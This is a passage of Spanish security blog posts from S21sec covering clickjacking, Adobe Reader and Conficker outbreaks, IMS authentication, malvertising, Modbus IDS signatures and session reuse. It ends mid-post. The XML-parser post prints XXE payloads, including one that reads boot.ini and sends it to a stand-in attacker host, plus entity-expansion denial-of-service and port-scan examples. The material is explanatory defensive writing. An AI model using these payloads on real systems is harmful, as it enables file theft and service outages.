Soluciones al reto 7

Hemos recibido dos soluciones al reto que propusimos en su día, consistente en adivinar el resultado del sorteo de los Euromillones del día 20 de Febrero del 2009.

Por supuesto, no se debía predecir la combinación (queda probado, ya que presentamos tres soluciones y no hubo ningún acertante del mayor premio), sino que se debía poder crear un fichero con un MD5 concreto, capaz de mostrar una combinación cualquiera.

Antes que nada, dar la enhorabuena a Dreyer & Uri y a Dani Kachakil. El ganador del libro en esta ocasión son los dos, que se lo merecen ;)

Adjuntamos también nuestra solución, ya que a pesar de utilizar el mismo método para la colisión múltiple, la forma de plasmarlo en el fichero PDF es diferente.

• Solución de Dreyer & Uri
• Solución de Dani Kachakil
• Solución de Iñaki López y Mikel Gastesi

Esperamos que os resulte de interés.

Mikel Gastesi
S21sec e-crime

Clickjacking exposed

Hace unos meses, empezó a sonar un nuevo concepto llamado clickjacking. Esta nueva vulnerabilidad se presento en la OWASP AppSec de New York el 24 de Septiembre de 2008, sin llegar a explicar todos los detalles referentes a ésta, dado que existían productos de adobe que eran vulnerables y podrían llegar a provocar un gran impacto, y a petición de los proveedores se omitió cierta información (S21sec ya informó de la aparición de esta vulnerabilidad  en este post).

La vulnerabilidad reside en crear una aplicación web para manipular al usuario y que inconscientemente realice una serie de acciones y clicks donde el usuario malintencionado desee, de esta forma se están realizando acciones en nombre del usuario.

La manipulación, se puede llevar a cabo mediante un simple juego en javascript que indique al usuario que tiene que clicar en diferentes puntos de la pantalla, donde ésta en realidad está compuesta por varias capas. Una de las capas es la que en todo momento está visualizando que es la maligna y otra de estas, mediante la utilización de iframes es la capa que recibe los clicks del usuario ya que está por encima de la anterior, tal y como se muestra en las siguientes figuras:

Página que recibiría el ataque:

Página creada para realizar el ataque (incluyendo la anterior):

Resultado de superponer las dos páginas 

Este problema viene dado por una debilidad el combinar el uso de iframes por parte de HTML y estilos, por lo que esta vulnerabilidad se puede explotar a través de prácticamente todos los navegadores (a excepción de navegadores que no acepten javascript, como los de modo texto tipo lynx, o si se desactiva javascript en el resto). Además, no es un problema que puedan solucionar mediante un parche, sinó que es algo más complejo, por lo que la solución a este problema, al menos por ahora, está en manos de los responsables de las aplicaciones Web que existen en Internet, evitando que éstas, se puedan incluir mediante iframes, por parte de aplicaciones de terceros. En el siguiente enlace se encuentra un artículo en el que se trata esta vulnerabilidad en diversos navegadores.

 

Recientemente, se ha publicado que esta vulnerabilidad afectaba a la red social www.twitter.com. Un usuario creó una aplicación, en la que había un botón donde se podía ver “Don’t click” (no clicar), así que la curiosidad de la gente, hacía que clicasen el botón, por lo que se hacía una petición a twitter en nombre del usuario. Al final twitter le pidió que eliminase la aplicación donde los demás usuarios clicaban el botón.

 

Una medida que pueden tomar los usuarios, es la de instalarse el plug-in no-script para Firefox, que en su última versión, ya ha tenido en cuenta esta vulnerabilidad por lo que no permite que este tipo de ataques se llevan a cabo.

A continuación se muestra un ejemplo de como llevar a su ejecución esta vulnerabilidad, aprovechando para que el usuario descargue el plug-in para Firefox no-script (para facilitar la prueba de concepto no se ha tenido en cuenta temas de estilo, en función de los distintos navegadores, tan solo se han realizado pruebas en Firefox).

En una próxima entrega se expondrá una prueba de concepto más técnica para que se pueda entender de una manera más clara como afecta la vulnerabilidad.

Para seguir leyendo:

http://www.sectheory.com/clickjacking.htm

http://ha.ckers.org/blog/20081007/clickjacking-details/

Abel Gomez

S21sec Auditoría

¿Tropezamos con la misma piedra?

¿Para qué repetir los errores antiguos habiendo tantos nuevos para cometer?
Bertrand Russell

Esta frase condensa perfectamente la situación actual respecto a algunas vulnerabilidades importantes que hemos ido comentando en esto blog: Conficker, y la vulnerabilidad en Acrobat Reader.

Multitud de particulares, empresas de todos los tamaños y redes variopintas siguen sufriendo los efectos del gusano Conficker, y parece que aún a estas alturas no somos conscientes de la importancia de la Seguridad en nuestros procesos de negocio, o en nuestro día a día personal. Que ahora muchos administradores estén parcheando a toda velocidad debido a que sus cuentas de usuario se están bloqueando es querrer construir la casa por el tejado. Por desgraciado que suene, gusanos como Conficker nos hacen darnos cuenta de la realidad, realidad que signifca que muchos de nuestros activos críticos (tangibles e intangibles) están a merced de terceros si no nos tomamos las cosas en serio, que pueden acabar fuera de nuestras redes sin nosotros enterarnos o que se están usando los servidores de nuestra red para delitos de spam, blanqueo de dinero o cualquier otro tipo de fraude.

¿Somos conscientes que los ordenadores de nuestro departamento de RRHH, de nuestros directivos, de las personas que manejan la información sensible de la empresa o de nuestros trabajadores pueden estar ahora mismo controlados por un tercero? ¿Cuántos quebraderos de cabeza nos está dando un simple gusano que hace que todas las cuentas del directorio activo se bloqueen, haciendo que los usuarios no puedan entrar en sus equipos, navegar o ver su correo? ¡Estamos parando toda la actividad empresarial de muchas empresas a veces incluso durante días!

¿Cuándo nos vamos a dar cuenta de que la Seguridad es algo que tiene que estar presente en todas nuestras acciones y procesos de negocio?

Pero la culpa la tenemos todos, usuarios, fabricantes y todos los que estamos relacionados; hasta el próximo 11 de Marzo no estará disponible el parche de Acrobat Reader para algunas versiones, y para el 18 de Marzo para el resto de versiones. Hasta entonces, la vulnerabilidad se está explotando activamente (desde Diciembre), infectando miles de equipos sin que podamos protegernos. Adobe está en contacto con fabricantes de IDS/IPS y antivirus para que puedan detectar los intentos de explotar esta vulnerabilidad, pero como siempre se demuestra, es imposible detectar todos los exploits y variantes que existan, más aún cuando los detalles de la vulnerabilidad son públicos como es el caso. En resumen, que hasta el 11 de Marzo es mejor que no abramos ningún PDF ¿cómo puedo hacer que mis usuarios hagan lo mismo?.

Estos dos hechos son ejemplos de comportamientos que debemos mejorar, tanto los usuarios como los fabricantes, puesto que parece que en vez de 2009 estamos en 2003:

El nuevo gusano Blaster se propaga a gran velocidad infectando equipos en todo el mundo (2003)

El Blaster tuvo parte de la culpa por el gran apagón (2003)

Un virus informático llamado 'Mydoom.A' colapsa entornos corporativos (2004)

Virus informáticos en el Ejército alemán (2009)

Un gusano informático infecta de forma "masiva" millones de ordenadores (2009)

Las llaves de memoria USB propagan un virus por millones de ordenadores (2009)

David Barroso

S21sec e-crime

IMS: Control de acceso, registro y autenticación. Parte I.

En los dos anteriores posts relativos a la arquitectura IMS ya hemos visto algunos de los elementos mas importantes de esta arquitectura, tales como el HSS ("Home Subscriber Server") o los CSCFS ("Call Session Control Function").

A partir de ahora entraremos de lleno en las especificaciones de IMS relativas a la seguridad. Si bien en un principio vamos a ver cosas de ámbito general tales como los protocolos y mecanismos de autenticación que se emplean en IMS, más adelante trataré de centrarme un poco más en el trabajo que diferentes entidades estandarizadoras han realizado entorno a la seguridad
a nivel de aplicación para IMS.

Desde una perspectiva pura de estandarización, solamente existe una solución de autenticación y acceso para IMS, la cual está especificada en la TS 33.203 del 3GPP ("Access Security for IP-Based Services") y que comúnmente se denomina IMS AKA (Authentication and Key Agreement).

Es importante señalar que además de IMS AKA, existen otras soluciones referidas a la autenticación y el control de acceso, definidas para cubrir las necesidades de terminales heredados y permitir un despliegue más rápido. Entre éstas constan:

• "Early IMS" del 3GPP para el acceso móvil, que refiere a aquellas implementaciones de IMS que por su antelación en el tiempo no son totalmente compatibles con las especificaciones de IMS y a las que, por consiguiente, no le son aplicables los mecanismos de seguridad desarrollados. Algunos ejemplos pueden ser implementaciones que basadas en IPv4 en lugar de IPv6 o en equipos de usuario que no soportan USIM/ISIM como, por ejemplo, dispositivos 2G.
  
• Digest Authentication de TISPAN y PacketCable.
• NASS-IMS autenticación no disociable de TISPAN para redes fijas. Es un método de autenticación en el que se pretende reusar la autenticación de la capa de red en IMS. Fue desarrollado por TISPAN y se trata también de un método de autenticación “temprano”, para redes fijas en las que el terminal del usuario no dispone de una tarjeta ISIM. Se asume que la red de acceso tiene habilitados mecanismos para evitar ataques del tipo IP-spoofing. La seguridad de este mecanismo es la misma que la de la red de acceso (se asume que la red fija tiene una seguridad física razonable, la misma asunción que se hace para la red actual de telefonía fija).
• "Digest authentication" con TLS (certificados del servidor) de PacketCable.
  

La variedad existente de mecanismos de autenticación utilizados en redes IMS causa problemas relacionados con la interoperabilidad, la existencia de redes con distintos niveles de seguridad, la selección del método más adecuado durante el registro del cliente, etc.
En este sentido, el 3GPP ha desarrollado la recomendación TR 33.803 ("Coexistence between TISPAN and 3GPP authentication schemes") para guiar en la selección del método de autenticación más adecuado.

Authentication and Key Agreement (AKA)

La seguridad en IMS se basa en una clave secreta de larga duración compartida entre el ISIM ("IP Multimedia Services Identity Module", es una aplicación que se ejecuta en una "smart card" UICC; contiene los parametros necesarios para identificar y autenticar un usuario en una red IMS) y el centro de autenticación de la red local (AUC – Authentication Centre; el HSS/HLR y el AUC pueden ser el mismo dispositivo de la red).

Antes de que un usuario pueda conseguir el acceso a los servicios Multimedia IP debe registrarse al menos una IMPU ("IP Multimedia Public Identity"; cada usuario puede tener más de una identidad pública, por ejemplo, un número de teléfono es una identidad pública) y el IMS debe autentificar la IMPI ("IP Multimedia Private Identity"; cada usuario solo tiene una IMPI) a nivel de aplicación. El mensaje de registro del protocolo SIP (REG) se utiliza para llevar esto a cabo, y el S-CSCF lo utiliza para autentificar el usuario. El HSS genera los vectores de autentificación (AVs) que utiliza el S-CSCF para autentificar el usuario de manera desafío-respuesta. El S-CSCF utilizará el protocolo Diameter para obtener los vectores de autenticación desde el HSS.Estos vectores contienen un desafío y la respuesta esperada del agente de usuario. Si el agente de usuario responde de forma diferente, el S-CSCF considera que la autenticación ha fallado. (El equipo de usuario que contiene el ISIM se apoya en la utilización del protocolo SIP y el HSS no, por lo que este último delega su función de autenticador al S-CSCF asignado al usuario).


Se proporciona optativamente el soporte de la confidencialidad de mensajes SIP entre el UE ("User Equipment") y la P-CSCF ("Proxy-Call Session Control Function") a través de IPsec ESP, definido en el RFC 2406 de la IETF "IP Encapsulating Security Payload (ESP)". El AKA del IMS se emplea para establecer las claves de cifrado. El algoritmo de cifrado es el DES-EDE3-CBC (3DES) o el AES-CBC.

El AKA del IMS también se usa para establecer las claves de integridad. El UE "User Equipment") y la P-CSCF ("Proxy-Call Session Control Function") negociarán el algoritmo de integridad que se utilizará durante la sesión. El algoritmo de integridad puede ser HMAC-MD5-96 o HMAC-SHA-1-96.

Seguridad de acceso IMS (ISM Access Security) para SIP

De acuerdo con las especificaciones de 3GPP la autenticación del usuario debe basarse en Digest AKA, algo análogo a la autenticación de acceso UMTS pero para SIP. La especificación 3GPP TS 33.203 (“3G security; Access security for IP-based services”) preveía, para Release 5 y Release 6, que la señalización entre el agente de usuario y el P-CSCF debía basarse en IPsec ESP en modo transporte, con las claves necesarias para IPSec negociadas mediante el procedimiento Digest AKA. Sin embargo el uso de IPSec en este modo no era adecuado para su uso en redes fijas, que estaba siendo estandarizado por TISPAN. El problema de IPsec estribaba en el cruce de NAT, por lo que TISPAN seleccionó el modo de encapsulación UDP de IPsec. Este compromiso para redes en las que había NAT fue recogido por 3GPP en su especificación 3GPP TS 33.203 para Release 7.


Hasta ahora, todos los mecanismos de seguridad que hemos visto son utilizados en redes de acceso y dominios IMS. Ahora bien, sería deseable poder hacer uso de estos mecanismos para extender la autenticación a nivel de servicios, especialmente cuando éstos no están basados en IMS. En este sentido, la arquitectura que goza de mayor aceptación es la definida por 3GPP y que se conoce como GAA ("Generic Authentication Architecture").

En el siguiente post continuaremos con los mecanismos de autenticación en IMS, donde trataremos, entre otras cosas, la arquitectura GAA.

Hasta pronto!


Asier Marruedo
S21sec e-crime

Ataques contra parsers XML

XML se ha convertido en un estándar para el intercambio de información y es la base de tecnologías emergentes como Ajax/Web 2.0 y Web services.

XML permite el uso de entidades, estos elementos básicamente sirven para referenciar su contenido dentro del propio documento. Un uso típico de una entidad es cuando definimos una abreviatura de un nombre largo para posteriormente utilizar su versión corta dentro del documento, por ejemplo:

< !ENTITY s21 "Grupo S21sec Gestión ">

Menos conocida es la posibilidad de insertar contenido de elementos externos, por ejemplo:

< !ENTITY midoc SYSTEM "http://www.s21sec.com /midoc.xml">
< !ENTITY arch SYSTEM "arch.txt">

El problema aparece cuando el parser que trata los datos de entrada XML procesa sin ninguna restricción elementos como los anteriores descritos. Es entonces cuando podemos utilizar esta técnica, que comúnmente recibe el nombre de “Ataques XXE (XML eXternal Entity)”, para atacar al servidor que procesa el documento XML.

Lectura de ficheros arbitrarios: Se trata sencillamente de definir una entidad que expanda el contenido de un fichero local del servidor. Aún así, notar que el parser XML espera un documento con cierto formato y existen restricciones en los tipos de ficheros aceptados por el parser a no ser que se indique explícitamente que no tienen formato. Ejemplo:

< !DOCTYPE doc [         < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>

Escaneo de puertos: Se trata de definir entidades externas que el servidor deba resolver para insertar su contenido en el documento.

< !DOCTYPE scan [  < !ENTITY s21sec SYSTEM "http://1.1.1.1:21/">
]>

Existe un documento excelente detallando esta técnica de Colin Wong de SIFT.

Ataques de denegación de servicio: Otro ataque que nos permiten las entidades externas es hacer referencia a una entidad cuyo contenido implique un procesamiento exponencial por parte del parser XML. Por ejemplo, un parser vulnerable requerirá
grandes cantidades de memoria para expandir la siguiente entidad:

< !DOCTYPE SOAP-ENV:Envelope [        < !ENTITY x0 "s21sec">
< !ENTITY x1 "&x0&x0">
< !ENTITY x2 "&x1&x1">
...
< !ENTITY x100 "&x99&x99">]>

Para prevenir todos estos ataques hemos de indicar al parser XML que no procese entidades externas, la implementación de esta restricción dependerá en gran medida del parser que utilicemos.

Javier Méndez Navarro
S21sec Auditoría

Somos los primeros

Hemos recibido la certificación Commom Criteria con nivel EAL2 (Evaluation Assurance Level) para nuestro producto Bitacora 4.0.2, es la primera certificación de seguridad Common Criteria para un producto SIEM (Security Information and Event Manager) español.

Common Criteria es un estándar reconocido internacionalmente y que tiene aplicación en más de 20 países para la evaluación oficial de procedimientos de seguridad de las tecnologías de la información. Dentro del conjunto de normas ISO está englobado en la normativa 15408.

Debido a las ventajas en materia de seguridad que aporta desarrollar productos con acuerdo a la normativa Common Criteria, varias agencias gubernamentales y organismos civiles de multitud de países requieren que los productos se validen tomando la referencia de los niveles de certificación EAL (Evaluation Assurance Level) disponibles, por lo que ésta supone una certificación muy importante para Bitacora 4.0.2.

En nuestro caso ha sido el Centro Criptológico Nacional (CCN) el organismo que ha realizado la certificación como parte del Esquema Nacional de Evaluación y Certificación de la Seguridad de las Tecnologías de la Información (ENECSTI). El proceso lo hemos completado en menos de un año y en S21sec tenemos un plan para certificar futuras versiones y conseguir así que la norma Common Criteria versión 3.1 sea un estándar de seguridad sostenible en todas las versiones de Bitacora.


Rubén Mangas
S21sec labs

Malvertising : la publicidad en el punto de mira.

El uso de técnicas de “malvertising” para aumentar el ratio de infecciones en las campañas de propagación de malware está en auge, el objetivo de este post es exponer de manera genérica esta problemática.

El malvertising (de malware + advertising ) consiste en la utilización de una infraestructura en apariencia legal para realizar campañas de despliegue de malware. Los principales vectores de infección pueden ir desde la vulneración directa del servidor de publicidad (Real Media 2007 ) , pasando por contratar el servicio de manera “legítima” e incluir código malicioso en el propio anuncio a distribuir (MySpace 2006 ) hasta la técnica más genérica que consiste en vulnerar sitios web “destino” para inyectar código que facilite la propagación del malware como ya comentamos recientemente en este mismo blog.

Como en todo negocio, la industria del malware tiene muy en cuenta el factor económico, es decir, la valoración de los recursos invertidos en relación con el supuesto beneficio que se obtendrá. En este sentido, parece que estas campañas de malvertising cumplen los requisitos deseados: una mínima inversión puede llegar a un elevadísimo ratio de infección .

Las contramedidas para este tipo de fraudes, serán diferentes teniendo en cuenta nuestra posición en la “cadena” : como usuarios podemos aplicar cierta medidas preventivas ( principalmente sentido común , usar el navegador Firefox con complementos como Noscript, StopAutoplay, Ad-block, FlashBlock ,etc.) , como responsables de contenidos deberíamos llevar a cabo una serie de comprobaciones sobre nuestro proveedor de publicidad (comprobar su reputación en el mercado, las medidas que adoptan para evitar este tipo de ataques, si nos ofrece la posibilidad de utilizar filtros específicos para incluir sólo aquella publicidad que nos interese, creación de listas de proveedores de confianza ) .

El grupo que debería asumir parte importante de responsabilidad es el de los responsables de distribución que como encargados de la gestión y despliegue de la publicidad, son los que en primera instancia deberían tomar ciertas medidas : comprobar las referencias de los supuestos anunciantes, su credibilidad, el producto final, analizar las tecnologías empleadas con herramientas como Adoptools , etc.

Desde el departamento de eCrime seguiremos analizando y comentando métodos de propagación de fraudes, ya que creemos que en un futuro próximo aparecerán nuevos vectores de infección cuya base operativa serán infraestructuras legítimas (y no solamente relacionadas con la publicidad). En el informe mensual de este mes, ampliaremos los puntos expuestos en este post.


Daniel López
S21sec e-crime

IDS en sistemas SCADA

Como todos sabéis los Sistemas de Detección de Intrusiones (IDS) resultan de gran utilidad a la hora de detectar anomalías en el funcionamiento de una red o un host y que podrían ser indicios de la presencia de un atacante en nuestro perímetro de seguridad. Para aquéllos que quieran realizar un rápido repaso sobre estos sistemas les recomiendo la lectura de este artículo de nuestro compañero Aitor Corchero.

Hacía tiempo que quería compartir con todos vosotros algunas ideas sobre el uso de estos sistemas en los entornos SCADA. DigitalBond, empresa puntera en la seguridad en SCADA y responsable de la organización del congreso S4, hace tiempo que ya proporciona firmas para Snort que permiten detectar posibles intentos de ataque que aprovechan las carencias de seguridad de protocolos SCADA estándar. Como ya sabéis, estos protocolos estándar y también una gran mayoría (por no decir la totalidad) de los protocolos de comunicaciones utilizados en sistemas SCADA no proporcionan mecanismos para la autenticación de los mensajes, el cifrado de los datos o la firma de los mismos. Por lo tanto no garantizan la integridad, la autenticidad ni la confidencialidad en las comunicaciones.

Pero, y ¿qué ataques pueden ocurrir para cada uno de estos protocolos?, ¿es posible detectar estos ataques con un IDS?, ¿en qué se basan las firmas para hacerlo? A continuación voy a analizar los fundamentos de algunas de estas firmas y después os contaré algunas consideraciones interesantes que se comentaron dentro del congreso S4.

Voy a centrarme en uno de los protocolos más simples, Modbus, como punto de partida para contaros en qué se basan las firmas que permiten detectar alguno de los ataques posibles para este protocolo. Modbus es un protocolo de nivel de aplicación que se basa en el principio maestro/esclavo, donde solo el dispositivo maestro inicia una transacción (petición y respuesta a/de un dispositivo esclavo). Los comandos de control de este protocolo se denominan funciones y las hay de siete tipos: lectura/modificación del valor de una o varias bobinas (salida digital), lectura del estado de una/varias entradas digitales, lectura/escritura de registros de entrada/salida (valores analógicos), tests de diagnóstico, de programa, control del sondeo realizado por el dispositivo maestro y reset.

A continuación os expongo tres ejemplos de posibles ataques aprovechando las carencias de seguridad de Modbus y cómo deberían plantearse las firmas de un IDS para detectarlos:

Comando ilegítimo de "forzado del modo de solo escucha (listen-only mode)": Esta función es una función de diagnóstico que se usa muy raramente durante la instalación de un nuevo componente o también a la hora de resolver algunos fallos. Básicamente hace que el dispositivo esclavo no ejecute ningún comando que reciba con posterioridad y no se generen respuestas de tipo alguno (Ej. envío de las lecturas de un sensor que mide la presión en una tubería). Imaginemos ahora un atacante que consiga introducir un cliente Modbus en la red SCADA y que envíe a todos los dispositivos de la red este comando generando una denegación de servicio en cada uno de ellos; el caos sería total. Una posible firma consistiría en detectar mensajes Modbus que incorporasen el código y subcódigos de función correspondientes (código 08 – función de diagnóstico, subcódigo 04 – forzado del modo de solo escucha). Esto generaría una alerta que el operador de seguridad debería validar para descartar falsos positivos.

Reinicio de las comunicaciones: Un operador, para devolver el estado normal a un dispositivo al que se le ha enviado un comando de solo escucha debería enviar un comando de este tipo: reinicio de comunicaciones. Pero, ¿y qué ocurriría si fuera un atacante quien lo hiciera y de manera repetitiva contra cada uno de los dispositivos esclavos? Básicamente, lo mismo que en el caso anterior: una denegación de servicio permanente. En este caso el código de función a detectar es de nuevo el 08, por ser una función de diagnóstico y el subcódigo el 01, que indica el reinicio.

Solicitud de escritura en una dirección de memoria no válida: Imaginemos que se envía un comando de este tipo para modificar el valor de un registro de mantenimiento (holding register) al que está conectado el selector de voltaje de un transformador en una subestación eléctrica. Si resulta que la dirección seleccionada no es la correcta, la RTU esclava se "queja" enviando un mensaje de excepción con código 02 (dirección ilegal). No es lógico detectar un mensaje de este tipo en una red que está en producción puesto que los comandos de supervisión se envían desde un HMI en el que las acciones están más que acotadas y donde las direcciones de memoria sobre las que se puede actuar en cada equipo de la red están perfectamente definidas. Así pues, lo lógico es que el IDS que incorpore esta firma genere una alerta para que se tenga en cuenta por el responsable de seguridad de la instalación.

Existen muchas otras firmas posibles, que por no alargar indefinidamente el post dejaré para vuestra imaginación. No obstante, antes de terminar querría compartir con vosotros otra técnica para la generación de alarmas por un IDS de red para SCADA que pudimos ver durante el S4 del pasado mes de enero. En realidad tiene que ver con las limitaciones que impone la interfaz humana (HMI) en cuanto a tiempos entre mensajes de control. Un cliente ilegítimo instalado en la red podría intentar enviar comandos de control de supervisión a alguna unidad remota de manera automática. Los tiempos entre mensajes, si estos se generan automáticamente, estarán determinados por el propio programa y serán de un orden de magnitud muy pequeño, comparando con los tiempos entre mensajes de un operador que se dedica a mandar la misma secuencia de comandos desde su interfaz gráfica (haciendo primero click para seleccionar el dispositivo, posteriormente seleccionando de un desplegable la acción y finalmente presionando al botón de "ejecución"). En realidad esta técnica de detección es fácil de burlar: basta con saber los tiempos y modificar el código de tu cliente Modbus para que introduzca los retardos adecuados entre cada comando.

Esto es todo de momento. ¿Se os ocurre alguna otra firma posible para SCADA? ¿Consideráis que los falsos positivos pueden suponer más quebraderos de cabeza que una ventaja desde el punto de vista de la seguridad?

 

Elyoenai Egozcue

S21sec labs

 

A vueltas con el 0-day de Adobe Reader

Como comentamos hace algunos días, existe una vulnerabilidad presente en Acrobat Reader (en las versiones 8.3.1 y 9.0.0) que se está explotando activamente en Internet, incluso se comenta en algunas fuentes que ya desde mediados de Diciembre se está usando este exploit en ataques muy dirigidos.

Adobe a su vez publicó su advisory y asegura que hasta el próximo día 11 de Marzo no estará disponible el parche (y sólo para su versión 9.0.0), y el único workaround disponible (y que no está facilitado por Adobe) es el de deshabilitar el soporte de javascript.

Por ahora los usuarios afectados son sólo los de Microsoft Windows (no parece que existan exploits de Linux o de MacOSX), aunque debido a que se han hecho públicos los detalles de la vulnerabilidad, no se descarta que empiecen a aparecer variantes para Windows y exploits para otras plataformas.

La recomendación, a esperas del parche es clara:

• Deshabilitad el soporte de javascript en vuestros Acrobat Reader: Edición -> Preferencias -> JavaScript->Deshabilitar "Activar JavaScript para Acrobat" (información de cómo poder hacerlo de forma masiva en un dominio de Microsoft en ShadowServer)
  
• No abráis ningún PDF que provenga de alguien a quién no conocéis (por supuesto que no es una medida efectiva al 100%, pero por el momento no se han detectados códigos maliciosos que reenvíen los archivos PDF utilizando la libreta de direcciones del infectado)

David Barroso

S21sec e-crime

Reto 7 - Resultado de los Euromillones

Como lo prometido es deuda, os mostramos a continuación el PDF en que guardamos la combinación ganadora:

Os podéis bajar el fichero PDF desde aquí.

En cuanto tengamos los ficheros PDF y soluciones de Uri & Dreyer y Dani Kachakil os los haremos llegar ;)

Mikel Gastesi
S21sec E-crime

OPC: ESTANDAR EN LAS REDES INDUSTRIALES Y BUSES DE CAMPO

OPC fue desarrollado para estandarizar los sistemas propietarios de Drivers de Control y Automatización de redes industriales y Buses de Campo de múltiples fabricantes, generando así, interoperabilidad entre estos sistemas.
Esta entrada está orientada a la descripción general de OPC (OLE Process Control), basado en las interfaces OLE/COM/DCOM (RPC) (Object Linking and Embedding/Common Object Model/Distributed Common Object Model) de Microsoft, con especial atención en el Monitoreo de datos, Historial de Datos y sistemas de seguridad en una arquitectura típica de control comunicacional.

OPC, es un mecanismo estándar de comunicación, que interconecta en forma libre, numerosas fuentes de datos donde se incluyen dispositivos de planta en la fábrica. Su arquitectura, de comunicación abierta, se concentra en el acceso a datos y no en el tipo de datos. Por eso es denominado en forma más específica OPC-DA (OPC Acceso a Datos)

- Interfaces y Arquitectura OPC
Interfaces OPC
OPC contienen dos juegos de interfaces; Interfaz diseñada para un propósito (Aplicación) y una Interfaz de Automatización.

OPC especifica la interfaz COM, como: “Lo que la interfaz es y su aplicación y no su implementación”. Especifica el comportamiento esperado que proporciona la interfaz ante el uso y/o aplicaciones del cliente.

Arquitectura General de OPC y sus Componentes
La arquitectura OPC es un modelo Cliente-Servidor donde el Servidor OPC proporciona una interfaz al objeto OPC y lo controla.
Una aplicación cliente OPC se comunica a un servidor OPC a través de un cliente OPC específico por medio de una interfaz de automatización. El servidor OPC lleva a cabo la interfaz cliente, y opcionalmente lleva a cabo la interfaz de automatización.

- Servidores OPC
Una aplicación cliente OPC, puede conectarse por medio de una red, a varios servidores OPC proporcionados por uno o más fabricantes. De esta forma no existe restricción por cuanto a tener un Software Cliente para un Software Servidor, lo que es un problema de interoperabilidad que hoy en día se aprecia con sistemas del tipo propietario.

Sistemas de control supervisorio como lo son SCADA o DCS pueden comunicarse con un Servidor OPC y proveer a este, información de los dispositivos de campo asociados. De esta forma, aplicaciones cliente OPC de otros fabricantes tendrán acceso a estos datos por medio del servidor.

Servidor de Acceso a datos OPC
A un alto nivel, esta compuesto por los objetos:
Servidor: Mantiene la información sobre si mismo, y unifica los Datos dentro de un Grupo.
Grupo: Dota de un mecanismo que contiene en forma lógica los ítemes. Se clasifican en público o Local.
Ítem: Es un valor, una condición y permanece o varía en el tiempo. Es una dirección específica de los datos y no la fuente de datos.
Servidor de Alarmas, Condiciones y Eventos OPC
Provee de Interfaces, donde Clientes OPC son notificados de Sucesos. Estos mecanismos se definen como:
Alarma: Condición anormal de un sistema, por lo que es un caso especial de esta.
Condición: Estado nombrado evento por contener condiciones asociadas a una etiqueta como HighAlarm, Normal, LowAlarm.
Evento: Ocurrencia perceptible, de importancia al servidor OPC, de los dispositivos que representa o de sus dispositivos OPC.
Servidor de Acceso a Datos Históricos OPC (OPC HDA)
Provee de una interfaz Cliente OPC de Acceso a Datos Históricos , que facilita el uso de aplicaciones de acceso a datos.
Características: Arquitectura de comunicación abierta y eficaz, concentrada en el acceso a datos y no en los tipos de datos.
Propósito: Permite que aplicaciones (MS Office, Objetos WWW) accedan a datos de un dispositivo o un banco de datos “In process”. Facilita el desarrollo de aplicaciones sin sacrificar la funcionalidad de la Interfaz Cliente.
- Intercambio de datos OPC (OPC DX)
Define un conjunto de interfaces que permiten el intercambio de datos, así como la comunicación "server to server" entre dispositivos y controladores conectados a Ethernet, que utilizan distintos protocolos. OPC-DX permite a los servidores OPC-DA intercambiar directamente datos sin la exigencia de un cliente OPC intermedio.
La mejor manera de pensar de un servidor OPC-DX es como un servidor OPC-DA que se puede configurar para intercambiar datos con otros servidores OPC-DA. Como es el caso de otros servidores OPC, el cliente aún se utiliza para configurar, controlar y vigilar este intercambio de datos.
- Acceso de datos XML (OPC XML DA)
Se está convirtiendo en el método estándar para el intercambio de datos entre las aplicaciones de empresa y son cada vez más en proceso de control de entornos. OPC XML-DA salió a la luz en 2003 tras varios años de desarrollo, y ofrece un interfaz Simple Object Application Protocol (SOAP) para los objetos OPC DA 2.0/3.0. Esto permite a las aplicaciones cliente ser escritas
en Java, Perl, Python, y otros idiomas que soporta SOAP. SOAP y XML Web Services utiliza Protocolo de transferencia de hipertexto (HTTP) y los mecanismos de transporte y proporcionar una plataforma neutral que es más adecuado para el tráfico con base en Internet, en comparación con tecnologías como DCOM.
Sin embargo, debido a las limitaciones de rendimiento posible, OPC XML-DA es poco probable que se utilizan para aplicaciones en tiempo real, a pesar de que normalmente se usa de puente entre la empresa y la red de control.
- Arquitectura unificada OPC (OPC UA)
Refleja el objetivo de Microsoft de retirar DCOM en favor de .NET y arquitecturas orientadas a servicio.
OPC UA integra la funcionalidad de las anteriores especificaciones (OPC DA, OPC-HDA, OPC A & E, OPC-DX, etc).
OPC UA abandona COM / DCOM en favor de dos transportes:
SOAP / HTTP (S) y un mensaje binario codificado en la parte superior de TCP. Es prematuro evaluar la seguridad de OPC UA en relación con DCOM, ya que el OPC UA API de seguridad aún están en desarrollo. Sin embargo, dado que ahora existe una mayor conciencia en la OPC Foundation, proveedores OPC , y Microsoft para la necesidad de seguridad, hay poca duda de que .NET proporcionará una base más segura que COM / DCOM.
También hacen que el desarrollo de clientes y servidores OPC en plataformas que no sean de Microsoft mucho más fácil.

- Seguridad
Existen tres niveles de seguridad OPC:
Seguridad Inválida: Libre acceso entre Cliente/Servidor.
Seguridad DCOM: Clientes seleccionados tienen acceso limitado a servidores OPC. No hay un control total sobre sistemas operativos como Linux, Unix o Suse.
Seguridad OPC: El Servidor OPC sirve como un regulador de control de acceso a fabricantes de sistemas operativos como Linux y Unix sobre objetos específicos de acceso restringido que son expuesto por el Servidor OPC.

Iker Berriozabal
S21sec labs

Seguridad en el manejo de Sesiones Web – VII

Reutilización de sesión

En este último capítulo de la serie vamos a ver una vulnerabilidad que no siempre tiene implicaciones de seguridad, pero que conviene no olvidar.

Hablamos de reutilización de sesión cuando existe la posibilidad de utilizar el mismo identificador de sesión en dos aplicativos distintos o cuando es posible utilizarlo para hacer login dos veces en la misma aplicación.

Vamos a verlo mejor con un par de ejemplos:

Ejemplo 1: Dos aplicativos comparten el mismo pool de sesiones

Tenemos por un lado una aplicación de administración protegida para la que se pide login y password. Por otro lado tenemos un foro público en el que cualquier usuario puede registrarse. Ambas comparten el mismo servidor de aplicaciones y sin saberlo utilizan el mismo pool de sesiones.

Un atacante hace login en el foro, copia el ID de sesión y lo utiliza para acceder a la aplicación de administración. Como la sesión tiene la bandera de “autenticado correctamente” se le permite el acceso.

Ejemplo 2: Login 2 veces con el mismo ID

Tenemos una aplicación de banca online. La aplicación pide una clave de operaciones para realizar transferencias entre usuarios, pero no pide nada cuando se trata de un traspaso entre cuentas de un mismo usuario.

El atacante ha conseguido robar las credenciales de acceso de varios clientes del banco, pero no ha obtenido las claves de operaciones de forma que no puede transferirse el dinero. Sin embargo descubre que la aplicación permite reutilización de sesiones. De forma que se crea una cuenta en ese banco.

